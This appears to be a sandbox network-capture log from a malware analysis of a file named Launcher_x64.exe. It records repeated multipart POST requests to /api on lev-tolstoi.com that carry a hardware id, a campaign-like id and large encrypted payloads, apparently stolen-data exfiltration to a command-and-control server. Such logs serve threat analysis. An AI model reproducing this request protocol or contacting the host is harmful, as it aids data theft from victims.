2024-12-23 00:18:17 UTC	1369	IN	Data Raw: 58 70 46 41 4c 33 61 31 74 7a 4a 51 62 67 39 64 58 70 68 73 70 59 42 6f 6e 7a 79 34 47 61 4b 6f 78 41 6b 78 59 50 46 44 4c 6f 74 73 6e 31 5a 6c 61 50 4b 6a 66 6c 70 6c 53 41 6f 62 32 79 58 6d 68 6e 72 57 61 50 63 2f 71 37 48 43 56 58 6b 68 37 77 59 36 78 32 75 65 47 7a 63 70 2b 36 52 33 58 57 39 4d 43 68 32 4a 61 71 43 54 59 70 73 36 70 52 53 74 76 38 4d 44 4c 6d 4c 32 54 69 69 4c 66 70 74 62 62 47 4b 37 34 44 4a 51 65 67 39 64 58 72 68 38 73 49 74 6c 6d 69 61 38 48 36 57 73 77 78 35 6a 4c 37 42 5a 4a 4a 59 73 79 6b 31 2f 66 76 79 78 50 45 34 69 53 41 6c 65 77 79 75 67 69 47 53 52 4e 72 6b 4d 6f 37 7a 42 41 53 70 6f 39 45 41 67 68 32 69 57 58 47 70 71 39 36 56 31 56 47 31 4c 44 42 43 53 5a 4f 62 50 49 70 45 6f 39 30 62 6d 6d 39 55 4e 4c 32 79 77 56 32 32 Data Ascii: XpFAL3a1tzJQbg9dXphspYBonzy4GaKoxAkxYPFDLotsn1ZlaPKjflplSAob2yXmhnrWaPc/q7HCVXkh7wY6x2ueGzcp+6R3XW9MCh2JaqCTYps6pRStv8MDLmL2TiiLfptbbGK74DJQeg9dXrh8sItlmia8H6Wswx5jL7BZJJYsyk1/fvyxPE4iSAlewyugiGSRNrkMo7zBASpo9EAgh2iWXGpq96V1VG1LDBCSZObPIpEo90bmm9UNL2ywV22
2024-12-23 00:18:17 UTC	1369	IN	Data Raw: 53 39 75 34 2b 34 71 46 30 4a 45 45 78 75 63 66 65 53 30 59 5a 67 2b 73 41 6a 6d 70 66 46 41 59 32 37 71 43 48 75 2b 64 64 4a 63 59 79 6d 6a 37 6d 64 51 59 6b 67 66 43 4a 78 6e 74 34 70 76 6d 68 4b 34 47 62 43 35 77 51 30 79 61 4c 78 44 4c 73 63 69 30 6c 78 33 4b 61 50 75 58 56 42 30 54 43 6f 64 69 6d 4c 6d 7a 79 4b 52 4a 76 64 47 35 6f 53 4f 48 43 42 78 38 30 63 79 75 53 7a 4b 51 6c 45 70 38 4c 68 31 52 32 46 5a 44 68 4f 58 65 70 6a 42 4f 73 4a 69 35 55 7a 30 36 4e 46 4f 50 46 36 2b 43 43 4c 48 4e 4b 74 43 4c 33 2b 37 39 69 41 5a 49 6c 31 46 52 74 73 73 70 5a 4e 77 6b 44 4f 68 48 65 47 45 38 43 6b 31 61 2f 64 59 4a 4a 42 6a 30 68 55 76 5a 72 76 32 53 78 64 72 53 42 34 50 6a 57 61 32 68 69 4b 70 66 76 63 47 35 75 4b 4f 4f 79 42 76 2f 6b 38 31 6c 69 47 31 Data Ascii: S9u4+4qF0JEExucfeS0YZg+sAjmpfFAY27qCHu+ddJcYymj7mdQYkgfCJxnt4pvmhK4GbC5wQ0yaLxDLsci0lx3KaPuXVB0TCodimLmzyKRJvdG5oSOHCBx80cyuSzKQlEp8Lh1R2FZDhOXepjBOsJi5Uz06NFOPF6+CCLHNKtCL3+79iAZIl1FRtsspZNwkDOhHeGE8Ck1a/dYJJBj0hUvZrv2SxdrSB4PjWa2hiKpfvcG5uKOOyBv/k81liG1
2024-12-23 00:18:17 UTC	1369	IN	Data Raw: 79 51 54 46 5a 76 51 45 6b 51 6b 47 75 68 6b 58 53 4e 66 4c 38 64 76 4b 44 77 4d 41 68 74 39 6b 38 35 67 47 71 30 65 79 38 6e 75 36 45 79 44 31 73 50 54 56 36 6b 4a 65 61 5a 49 73 35 77 67 68 32 6f 74 4d 6b 59 4d 69 7a 59 61 78 6d 39 4c 72 35 63 65 69 76 50 71 57 4a 47 61 55 49 4a 58 74 55 72 6f 4d 45 36 78 6e 37 33 47 72 66 36 6c 6c 35 78 4f 71 55 62 64 4e 63 2b 6a 52 56 32 4b 65 33 75 4b 67 55 73 44 78 64 65 77 79 76 68 67 6e 43 45 4e 72 51 49 70 66 33 77 4d 41 52 76 39 30 6b 31 6c 33 75 64 5a 56 46 38 2b 4b 42 38 55 48 52 65 52 56 44 62 5a 4f 62 5a 57 39 5a 34 39 79 48 6f 2b 74 5a 4f 65 79 48 46 53 79 32 4a 61 34 52 4b 49 6b 37 31 71 58 4e 42 63 6c 67 4b 58 74 55 72 6f 4d 45 36 78 48 37 33 47 72 66 36 6c 6c 35 78 4f 71 55 62 64 4e 63 2b 6a 52 56 32 4b Data Ascii: yQTFZvQEkQkGuhkXSNfL8dvKDwMAht9k85gGq0ey8nu6EyD1sPTV6kJeaZIs5wgh2otMkYMizYaxm9Lr5ceivPqWJGaUIJXtUroME6xn73Grf6ll5xOqUbdNc+jRV2Ke3uKgUsDxdewyvhgnCENrQIpf3wMARv90k1l3udZVF8+KB8UHReRVDbZObZW9Z49yHo+tZOeyHFSy2Ja4RKIk71qXNBclgKXtUroME6xH73Grf6ll5xOqUbdNc+jRV2K
2024-12-23 00:18:17 UTC	1369	IN	Data Raw: 64 63 6b 49 4b 47 64 6c 4c 6f 5a 64 68 31 6e 37 33 45 75 62 69 6a 67 38 70 63 66 31 48 4a 4d 74 72 69 46 77 76 4a 37 75 67 4d 67 38 69 54 67 38 4f 6c 6d 53 68 7a 57 53 59 50 76 63 42 36 4b 4f 4f 47 47 4d 35 6f 77 5a 6a 6c 53 7a 4b 47 79 68 71 36 62 78 30 56 48 52 4d 51 69 43 6c 52 72 53 47 63 70 56 79 68 68 4f 69 72 4e 73 4e 4d 32 62 4f 64 67 36 56 61 34 4a 59 4c 56 6a 74 72 58 4a 5a 5a 51 39 4c 58 6f 4d 72 2f 73 46 50 68 44 65 6e 48 65 62 30 6a 67 4a 6a 4f 62 42 46 4d 59 42 38 6b 52 64 6f 63 2f 7a 75 62 52 6c 37 44 78 4e 65 77 7a 6a 6f 77 58 44 57 61 50 64 5a 71 4c 66 50 44 53 31 69 34 6c 6f 6c 68 48 71 52 48 46 46 58 31 72 78 31 52 32 45 4e 4e 42 4f 66 66 62 4f 43 63 70 45 4f 69 54 4f 30 76 64 34 4e 59 55 33 33 52 53 2b 35 55 71 56 4b 61 48 6d 35 69 48 Data Ascii: dckIKGdlLoZdh1n73Eubijg8pcf1HJMtriFwvJ7ugMg8iTg8OlmShzWSYPvcB6KOOGGM5owZjlSzKGyhq6bx0VHRMQiClRrSGcpVyhhOirNsNM2bOdg6Va4JYLVjtrXJZZQ9LXoMr/sFPhDenHeb0jgJjObBFMYB8kRdoc/zubRl7DxNewzjowXDWaPdZqLfPDS1i4lolhHqRHFFX1rx1R2ENNBOffbOCcpEOiTO0vd4NYU33RS+5UqVKaHm5iH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49784	172.67.157.254	443	3336	C:\Users\user\Desktop\Launcher_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:18:18 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OMYEZFJQ2JXV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18134 Host: lev-tolstoi.com
2024-12-23 00:18:18 UTC	15331	OUT	Data Raw: 2d 2d 4f 4d 59 45 5a 46 4a 51 32 4a 58 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 43 36 31 30 33 44 30 46 31 38 32 37 37 42 33 31 32 46 37 34 32 37 30 31 44 34 30 38 35 38 0d 0a 2d 2d 4f 4d 59 45 5a 46 4a 51 32 4a 58 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 4d 59 45 5a 46 4a 51 32 4a 58 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 73 77 65 74 61 6d 75 62 63 6f 79 75 0d 0a 2d 2d 4f 4d 59 45 5a 46 4a Data Ascii: --OMYEZFJQ2JXVContent-Disposition: form-data; name="hwid"68C6103D0F18277B312F742701D40858--OMYEZFJQ2JXVContent-Disposition: form-data; name="pid"2--OMYEZFJQ2JXVContent-Disposition: form-data; name="lid"LPnhqo--swetamubcoyu--OMYEZFJ
2024-12-23 00:18:18 UTC	2803	OUT	Data Raw: 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 Data Ascii: u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-12-23 00:18:19 UTC	1134	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 00:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jgirq34bjd1na4oph986h7fa27; expires=Thu, 17 Apr 2025 18:04:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H0JGqysR4Us9%2F7zt1m58xBC%2FzeR6FE2w8UdpIL4oMFgFZJK2FJMQHV%2Brl47Z3eK8b6XSmihsjgsTeeOMbFOt%2F%2Fg72aNz948A2emgDdRT%2FPqZl9wJQMv8WECtPG02VbpTrqg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f642c73ebdd43df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1675&min_rtt=1663&rtt_var=648&sent=13&recv=21&lost=0&retrans=0&sent_bytes=2836&recv_bytes=19089&delivery_rate=1658148&cwnd=243&unsent_bytes=0&cid=2d5a8f490dad3ee1&ts=1002&x=0"
2024-12-23 00:18:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 00:18:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49790	172.67.157.254	443	3336	C:\Users\user\Desktop\Launcher_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:18:21 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=49MCAZNGRSS936MHK3O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8797 Host: lev-tolstoi.com
2024-12-23 00:18:21 UTC	8797	OUT	Data Raw: 2d 2d 34 39 4d 43 41 5a 4e 47 52 53 53 39 33 36 4d 48 4b 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 43 36 31 30 33 44 30 46 31 38 32 37 37 42 33 31 32 46 37 34 32 37 30 31 44 34 30 38 35 38 0d 0a 2d 2d 34 39 4d 43 41 5a 4e 47 52 53 53 39 33 36 4d 48 4b 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 39 4d 43 41 5a 4e 47 52 53 53 39 33 36 4d 48 4b 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 73 77 Data Ascii: --49MCAZNGRSS936MHK3OContent-Disposition: form-data; name="hwid"68C6103D0F18277B312F742701D40858--49MCAZNGRSS936MHK3OContent-Disposition: form-data; name="pid"2--49MCAZNGRSS936MHK3OContent-Disposition: form-data; name="lid"LPnhqo--sw
2024-12-23 00:18:21 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 00:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0as7ohk41nbhj75n05ucfesmtu; expires=Thu, 17 Apr 2025 18:05:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Oj4YlETrPJBHq0m4qycvPi5BOT3EaezSl6N3RP6UW4bA2jhdRo%2FjGl9zf20Kl%2BUyjDuEuya7%2BlwMkjr88vBe8wJqldOqd5jQbjxbLrhUln3RPINWMoi5INvneMNU5Fr2dZ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f642c825c4143b6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1736&min_rtt=1728&rtt_var=664&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2834&recv_bytes=9736&delivery_rate=1627647&cwnd=224&unsent_bytes=0&cid=9ee9fad3f3adba8b&ts=685&x=0"
2024-12-23 00:18:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 00:18:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49795	172.67.157.254	443	3336	C:\Users\user\Desktop\Launcher_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:18:23 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q57AHR6AEG435T1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20426 Host: lev-tolstoi.com
2024-12-23 00:18:23 UTC	15331	OUT	Data Raw: 2d 2d 51 35 37 41 48 52 36 41 45 47 34 33 35 54 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 43 36 31 30 33 44 30 46 31 38 32 37 37 42 33 31 32 46 37 34 32 37 30 31 44 34 30 38 35 38 0d 0a 2d 2d 51 35 37 41 48 52 36 41 45 47 34 33 35 54 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 51 35 37 41 48 52 36 41 45 47 34 33 35 54 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 73 77 65 74 61 6d 75 62 63 6f 79 75 0d 0a Data Ascii: --Q57AHR6AEG435T1Content-Disposition: form-data; name="hwid"68C6103D0F18277B312F742701D40858--Q57AHR6AEG435T1Content-Disposition: form-data; name="pid"3--Q57AHR6AEG435T1Content-Disposition: form-data; name="lid"LPnhqo--swetamubcoyu
2024-12-23 00:18:23 UTC	5095	OUT	Data Raw: 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-23 00:18:24 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 00:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=58fq91h8k108i7e4pasmn8nl3i; expires=Thu, 17 Apr 2025 18:05:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aomnSf9zBbtubRRzt50StRiZDvL21CR691nJ4BqBguSS2mI%2BPpbPfH2XgnYIcZEO57wacye29kcBf3VOdfkD4OdyeHnx9BYf2B9ZRRcCJ%2BL5r4mNNuFHBg0TI5Zs9s5DCTU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f642c8fe9744261-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1736&min_rtt=1736&rtt_var=652&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2834&recv_bytes=21384&delivery_rate=1676234&cwnd=239&unsent_bytes=0&cid=825f26e9e14b32be&ts=1270&x=0"
2024-12-23 00:18:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 00:18:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49801	172.67.157.254	443	3336	C:\Users\user\Desktop\Launcher_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:18:25 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X3DIBSUGUL5J3X9DJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1260 Host: lev-tolstoi.com
2024-12-23 00:18:25 UTC	1260	OUT	Data Raw: 2d 2d 58 33 44 49 42 53 55 47 55 4c 35 4a 33 58 39 44 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 43 36 31 30 33 44 30 46 31 38 32 37 37 42 33 31 32 46 37 34 32 37 30 31 44 34 30 38 35 38 0d 0a 2d 2d 58 33 44 49 42 53 55 47 55 4c 35 4a 33 58 39 44 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 33 44 49 42 53 55 47 55 4c 35 4a 33 58 39 44 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 73 77 65 74 61 6d 75 62 Data Ascii: --X3DIBSUGUL5J3X9DJContent-Disposition: form-data; name="hwid"68C6103D0F18277B312F742701D40858--X3DIBSUGUL5J3X9DJContent-Disposition: form-data; name="pid"1--X3DIBSUGUL5J3X9DJContent-Disposition: form-data; name="lid"LPnhqo--swetamub
2024-12-23 00:18:26 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 00:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9p4hf7euqn6qfid91g6pibee2r; expires=Thu, 17 Apr 2025 18:05:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bJOzLbMsitPsrk%2Box72S02F5ek5CDLbVdI4WN2nwWr7PKXl8BIO2Y0qa8AsgK8bAlwDUclpaMmlrxEemjNSDEyTbwIZQk0CCP%2Fxj88BxkhtHO8y03n4v4CSuqJWfrHOyOu4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f642ca17d6242d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1763&min_rtt=1758&rtt_var=663&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2175&delivery_rate=1660978&cwnd=227&unsent_bytes=0&cid=ff900414306cfb21&ts=772&x=0"
2024-12-23 00:18:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 00:18:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49807	172.67.157.254	443	3336	C:\Users\user\Desktop\Launcher_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:18:29 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X0QYLC67LN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 564957 Host: lev-tolstoi.com
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: 2d 2d 58 30 51 59 4c 43 36 37 4c 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 43 36 31 30 33 44 30 46 31 38 32 37 37 42 33 31 32 46 37 34 32 37 30 31 44 34 30 38 35 38 0d 0a 2d 2d 58 30 51 59 4c 43 36 37 4c 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 30 51 59 4c 43 36 37 4c 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 73 77 65 74 61 6d 75 62 63 6f 79 75 0d 0a 2d 2d 58 30 51 59 4c 43 36 37 4c 4e 0d 0a 43 Data Ascii: --X0QYLC67LNContent-Disposition: form-data; name="hwid"68C6103D0F18277B312F742701D40858--X0QYLC67LNContent-Disposition: form-data; name="pid"1--X0QYLC67LNContent-Disposition: form-data; name="lid"LPnhqo--swetamubcoyu--X0QYLC67LNC
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: 11 68 a9 54 33 45 fd ee 92 1f 1d 7e 98 16 78 b2 c4 74 cd d4 d2 34 53 a1 8b b0 e5 66 9e 1b b3 f8 5a 34 5e c4 21 46 ee e0 b5 e7 a3 96 f6 a1 53 c7 76 e9 5d c6 24 b2 84 6b b5 2f 95 4d 0d 14 2c 6d 76 b6 bb 0c 32 11 5a 0b c7 cf 3b ab 9a 59 7f 4a 0a f0 6d 21 43 72 f4 54 07 d7 eb 04 a5 32 8c ff 14 f1 f2 65 cd 0b 42 cf 28 0f a9 c2 ad 85 a8 48 45 ee b4 93 e2 4e d6 03 e5 28 9b 08 d4 38 61 51 6b 3e 8e 14 7f ca 00 65 14 19 e4 4d ea d3 a2 b2 c9 73 c8 f0 dd b2 72 da 39 5a f1 60 f5 08 ee 44 1b 1e 98 49 35 7d 13 06 86 65 a8 72 22 28 de fc 70 f0 45 fc 3c 6c 9b ea dd 6f bf 12 a1 bb 9e f2 4f 1d 0a f0 56 5e 66 6e 08 7f ef d2 02 62 9c e1 a9 37 15 5b eb d3 d5 1e b7 94 f5 3b 8d 59 87 70 49 a5 c0 58 76 c1 f9 ba ec 02 02 b0 34 53 d1 04 b0 b6 99 f9 45 6a 81 9c 6a b3 09 b1 73 1f 55 Data Ascii: hT3E~xt4SfZ4^!FSv]$k/M,mv2Z;YJm!CrT2eB(HEN(8aQk>eMsr9Z`DI5}er"(pE<loOV^fnb7[;YpIXv4SEjjsU
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: 7f 67 74 08 d7 96 ea ac 78 ec aa 40 b6 43 37 25 a5 46 1f 1b bd 11 3b 30 99 d9 a6 72 d6 43 ee 2a a9 b5 21 d2 67 50 87 eb 3d 94 16 19 92 2f c1 30 68 6c 52 1d c2 62 a3 18 b8 19 a9 d6 f3 94 6b e6 fa 25 26 04 49 57 52 6c 68 59 22 81 7f f2 f0 0c e6 c0 45 8a f6 81 fb db ef da 8b 2d e7 1e 7e e6 8d ea 8c 73 f3 77 6b 45 c1 0d eb 99 69 c2 0f 9d cb a0 fc bb ae 84 71 4c b8 3d 16 26 42 81 7a 41 e1 7d 10 dd 67 3a 78 b5 ec eb cd 38 d7 b1 d2 82 dc 2a 75 2d 74 e6 a9 e4 a9 53 1b 8b e7 8a 07 77 73 ca 79 d3 af 25 cd 6d a3 a1 2d 02 e6 ad 2c 75 4a e8 10 dd f0 3a 7f 91 87 9b 20 a0 4f 6d 69 fb e1 09 d6 4f 7f 3e 7f 63 3f c3 3b 3e 4a e4 a9 ac 58 55 16 38 a0 59 7e c3 c1 7e 31 35 b4 a0 d5 3e 00 68 01 35 5e 73 b3 3c 5e ea 38 c9 e3 24 df f0 08 8d b7 90 fe 3f c6 f7 df 4b 89 80 9e e3 40 Data Ascii: 